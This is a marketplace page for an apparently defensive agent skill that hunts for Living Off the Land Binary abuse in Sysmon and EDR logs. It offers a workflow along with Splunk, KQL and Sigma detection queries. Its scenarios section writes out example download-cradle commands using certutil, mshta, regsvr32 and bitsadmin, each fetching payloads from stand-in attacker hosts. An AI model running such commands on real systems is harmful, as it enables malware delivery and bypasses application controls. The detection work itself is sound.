
Hunting for LOLBins Execution
FreeDetect and analyze LOLBins in endpoint logs.
Free · Opens the source repo
What Hunting for LOLBins Execution does
The Hunting for LOLBins Execution skill is designed to assist cybersecurity professionals in identifying and analyzing the misuse of Living Off the Land Binaries (LOLBins) within endpoint process-creation logs. This skill focuses on detecting patterns of legitimate Windows binaries that are being exploited for malicious purposes, in line with the MITRE ATT&CK framework, specifically tactic T1218. By leveraging this skill, users can enhance their threat-hunting capabilities against fileless attacks that utilize built-in Windows tools.
The skill operates by analyzing Sysmon and Windows Security event logs, specifically looking for anomalies in the execution of high-risk LOLBins such as certutil, mshta, and rundll32. It provides a structured workflow that guides users through the process of establishing a baseline for normal usage, hunting for suspicious command-line arguments, and correlating findings with network activity. This methodical approach allows security teams to efficiently identify potential threats and respond accordingly.
This skill is particularly useful in scenarios where threat intelligence indicates ongoing LOLBin-based campaigns or when investigating alerts related to suspicious binary usage. During purple team exercises, it can also be employed to test and validate detection mechanisms against defense evasion techniques. By utilizing this skill, organizations can improve their endpoint detection coverage and enhance their overall cybersecurity posture against advanced threats.
In summary, the Hunting for LOLBins Execution skill is a valuable tool for security analysts and incident responders who need to monitor and analyze the execution of Windows binaries in their environments. It provides a comprehensive framework for detecting and mitigating the risks associated with LOLBins, ultimately contributing to a more robust defense against sophisticated cyber threats.
When to use it
Use this skill when investigating alerts related to LOLBins or during threat-hunting activities focused on fileless attacks.
When not to use it
This skill may not be suitable for environments without Sysmon or EDR telemetry, as it relies on specific logging capabilities to function effectively.
What you can build with it
Investigating Suspicious Alerts
Use this skill to analyze alerts related to the execution of LOLBins like certutil or mshta, helping to confirm or dismiss potential threats.
Threat Hunting Posture Improvement
Employ this skill during threat-hunting exercises to identify and document the use of LOLBins in your environment, thereby enhancing your security measures.
Purple Team Exercises
Utilize this skill in purple team exercises to validate detection capabilities against defense evasion techniques that leverage LOLBins.
How to install Hunting for LOLBins Execution
View source1. Install with the skills CLI
npx skills add mukul975/anthropic-cybersecurity-skills/hunting-for-lolbins-execution-in-endpoint-logs --agent claude-code2. Or install it manually
Download the skill folder and drop it into ~/.claude/skills/ for all projects, or .claude/skills/ to scope it to one repo. Restart Claude Code so it picks up the new skill.
Anthropic's agentic coding CLI, and the reference implementation of Agent Skills. Drop a skill folder into ~/.claude/skills and Claude Code loads it automatically whenever a task matches the skill's description. Claude Code docs
Inside SKILL.md
Written by mukul975Hunting for LOLBins Execution in Endpoint Logs
When to Use
- When hunting for fileless attack techniques that abuse built-in Windows binaries
- After threat intelligence indicates LOLBin-based campaigns targeting your industry
- When investigating alerts for suspicious use of certutil, mshta, rundll32, or regsvr32
- During purple team exercises testing detection of defense evasion techniques
- When assessing endpoint detection coverage for MITRE ATT&CK T1218 sub-techniques
Prerequisites
- Sysmon Event ID 1 (Process Creation) with full command-line logging
- Windows Security Event ID 4688 with command-line auditing enabled
- EDR telemetry with parent-child process relationships
- SIEM platform for query and correlation (Splunk, Elastic, Microsoft Sentinel)
- LOLBAS project reference (lolbas-project.github.io) for known abuse patterns
Workflow
- Build LOLBin Watchlist: Compile a list of high-risk LOLBins from the LOLBAS project, prioritizing: certutil.exe, mshta.exe, rundll32.exe, regsvr32.exe, msbuild.exe, installutil.exe, cmstp.exe, wmic.exe, wscript.exe, cscript.exe, bitsadmin.exe, and powershell.exe.
- Baseline Normal Usage: Establish what normal LOLBin usage looks like in your environment by profiling command-line arguments, parent processes, and user contexts for each binary over 30 days.
- Hunt for Anomalous Arguments: Search for LOLBins executed with unusual command-line arguments indicating abuse -- certutil with
-urlcache -decode -encode, mshta with URL arguments, rundll32 loading DLLs from temp/user directories, regsvr32 with/s /n /u /i:URL. - Analyze Parent-Child Relationships: Identify unexpected parent processes spawning LOLBins -- for example, outlook.exe spawning mshta.exe, or winword.exe spawning certutil.exe indicates weaponized document delivery.
- Check Execution from Unusual Paths: LOLBins executed from non-standard paths (copies placed in %TEMP%, user profile directories) suggest renamed binary abuse.
- Correlate with Network Activity: Map LOLBin execution to outbound network connections (Sysmon Event ID 3) to identify download cradles and C2 callbacks.
- Score and Prioritize: Rank findings by anomaly severity, combining suspicious arguments, unusual parent process, non-standard path, and network activity indicators.
Key Concepts
| Concept | Description |
|---|---|
| T1218 | System Binary Proxy Execution |
| T1218.001 | Compiled HTML File (mshta.exe) |
| T1218.003 | CMSTP |
| T1218.005 | Mshta |
| T1218.010 | Regsvr32 (Squiblydoo) |
| T1218.011 | Rundll32 |
| T1127.001 | MSBuild |
| T1197 | BITS Jobs (bitsadmin.exe) |
| T1140 | Deobfuscate/Decode Files (certutil.exe) |
| T1059.001 | PowerShell |
| T1059.005 | Visual Basic (wscript/cscript) |
| LOLBAS | Living Off the Land Binaries, Scripts and Libraries project |
Tools & Systems
| Tool | Purpose |
|---|---|
| Sysmon | Process creation with command-line and hash logging |
| CrowdStrike Falcon | EDR with LOLBin detection analytics |
| Microsoft Defender for Endpoint | Built-in LOLBin abuse detection |
| Splunk | SPL-based process hunting and anomaly detection |
| Elastic Security | Pre-built LOLBin detection rules |
| LOLBAS Project | Reference database of LOLBin abuse techniques |
| Sigma Rules | Community detection rules for LOLBin abuse |
Detection Queries
Splunk -- High-Risk LOLBin Execution
index=sysmon EventCode=1
| where match(Image, "(?i)(certutil|mshta|rundll32|regsvr32|msbuild|installutil|cmstp|bitsadmin)\.exe$")
| eval suspicious=case(
match(CommandLine, "(?i)certutil.*(-urlcache|-decode|-encode)"), "certutil_download_decode",
match(CommandLine, "(?i)mshta.*(http|https|javascript|vbscript)"), "mshta_remote_exec",
match(CommandLine, "(?i)rundll32.*\\\\(temp|appdata|users)"), "rundll32_unusual_dll",
match(CommandLine, "(?i)regsvr32.*/s.*/n.*/u.*/i:"), "regsvr32_squiblydoo",
match(CommandLine, "(?i)msbuild.*\\\\(temp|appdata|users)"), "msbuild_unusual_project",
match(CommandLine, "(?i)bitsadmin.*/transfer"), "bitsadmin_download",
match(CommandLine, "(?i)cmstp.*/s.*/ni"), "cmstp_uac_bypass",
1=1, "normal"
)
| where suspicious!="normal"
| table _time Computer User Image CommandLine ParentImage ParentCommandLine suspicious
KQL -- Microsoft Sentinel LOLBin Hunting
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("certutil.exe", "mshta.exe", "rundll32.exe", "regsvr32.exe",
"msbuild.exe", "installutil.exe", "cmstp.exe", "bitsadmin.exe")
| where ProcessCommandLine matches regex @"(?i)(urlcache|decode|encode|http://|https://|javascript:|vbscript:|/s\s+/n|/transfer)"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| sort by Timestamp desc
Sigma Rule -- Suspicious LOLBin Command Line
title: Suspicious LOLBin Execution with Malicious Arguments
status: experimental
logsource:
category: process_creation
product: windows
detection:
selection_certutil:
Image|endswith: '\certutil.exe'
CommandLine|contains:
- '-urlcache'
- '-decode'
- '-encode'
selection_mshta:
Image|endswith: '\mshta.exe'
CommandLine|contains:
- 'http://'
- 'https://'
- 'javascript:'
selection_regsvr32:
Image|endswith: '\regsvr32.exe'
CommandLine|contains|all:
- '/s'
- '/i:'
condition: 1 of selection_*
level: high
tags:
- attack.defense_evasion
- attack.t1218
Common Scenarios
- Certutil Download Cradle:
certutil.exe -urlcache -split -f http://malicious.com/payload.exe %TEMP%\payload.exeused to download malware bypassing proxy filters. - Mshta HTA Execution:
mshta.exe http://attacker.com/malicious.htaexecuting remote HTA files containing VBScript or JScript payloads. - Regsvr32 Squiblydoo:
regsvr32 /s /n /u /i:http://attacker.com/file.sct scrobj.dllexecuting remote SCT files to bypass application whitelisting. - Rundll32 DLL Proxy:
rundll32.exe C:\Users\user\AppData\Local\Temp\malicious.dll,EntryPointexecuting attacker DLLs via legitimate binary. - MSBuild Inline Task:
msbuild.exe C:\Temp\malicious.csprojexecuting C# code embedded in project files to bypass application control. - BITS Transfer:
bitsadmin /transfer job /download /priority high http://attacker.com/malware.exe C:\Temp\update.exeusing BITS service for stealthy file download. - WMIC XSL Execution:
wmic process list /format:evil.xslexecuting JScript/VBScript from XSL stylesheets.
Output Format
Hunt ID: TH-LOLBIN-[DATE]-[SEQ]
Host: [Hostname]
User: [Account context]
LOLBin: [Binary name]
Full Path: [Execution path]
Command Line: [Full arguments]
Parent Process: [Parent image and command line]
Detection Category: [download_cradle/proxy_exec/uac_bypass/applocker_bypass]
Network Activity: [Yes/No -- destination if applicable]
Risk Level: [Critical/High/Medium/Low]
Frequently asked questions about Hunting for LOLBins Execution
Similar skills
Asset Criticality Scoring for Vulns
Prioritize vulnerabilities based on asset criticality.
Performing Alert Triage with Elastic SIEM
Streamline alert triage processes in Elastic Security.
Active Directory Vulnerability Assessment
Secure your Active Directory with comprehensive assessments.
Active Directory Investigation
Streamline your Active Directory compromise investigations.
Parsing Artifacts with Eric Zimmerman Tools
Efficiently parse Windows forensic artifacts for analysis.
Operationalizing MISP Threat Feeds
Enhance threat detection with curated MISP feeds.
